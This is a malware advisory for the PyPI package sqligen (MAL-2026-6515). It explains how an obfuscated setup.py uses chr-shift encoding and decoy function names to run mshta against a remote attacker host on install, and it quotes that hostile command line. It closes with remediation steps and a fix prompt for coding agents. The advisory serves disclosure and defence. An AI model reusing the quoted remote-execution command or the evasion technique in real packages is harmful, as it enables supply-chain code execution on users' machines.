# MAL-2026-6515: Malicious code in sqligen (PyPI)


- **Type:** Malicious package
- **Package:** `sqligen` (PyPI)
- **Published:** 26 Jun 2026

## What is MAL-2026-6515?

MAL-2026-6515 is a malicious package in sqligen, published on 26 Jun 2026. 

### Official description

setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names ('GetDefaultSystemPolicy' / 'CalculateNodeDrift', backed by integer arrays presented as 'InterruptThresholds' and 'ThreadPingLatencies') decode via chr(value+14) arithmetic to the strings 'mshta' and 'https://fixars.top'. On Windows, GetGitCommitHash() runs subprocess.check_output(['mshta', 'https://fixars.top'], shell=True), executing an arbitrary remote HTA payload from fixars.top. This codepath is reached from CustomInstallCommand, CustomBuildPyCommand, and CustomDevelopCommand, so any `pip install sqligen` (or `pip install -e.`) on a Windows host triggers remote code execution under the installing user's account. The obfuscation (cover-story variable names, chr-shift encoding of the command and URL) demonstrates intentional evasion of source review; legitimate build tooling does not encode 'mshta' as 'hardware interrupt latency thresholds'. The fetched payload is attacker-controlled and unrelated to the package's stated SQL-generation purpose.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

 - Downloads and executes a remote executable.

 - obfuscation

 - malware

 - tool:mshta

## What should I do about MAL-2026-6515?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6515 is a malicious package: sqligen (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6515/ (Markdown: https://insights.sbomify.com/MAL-2026-6515/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6515

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6515/
Summaries are generated and may contain mistakes; the official description above is the record.
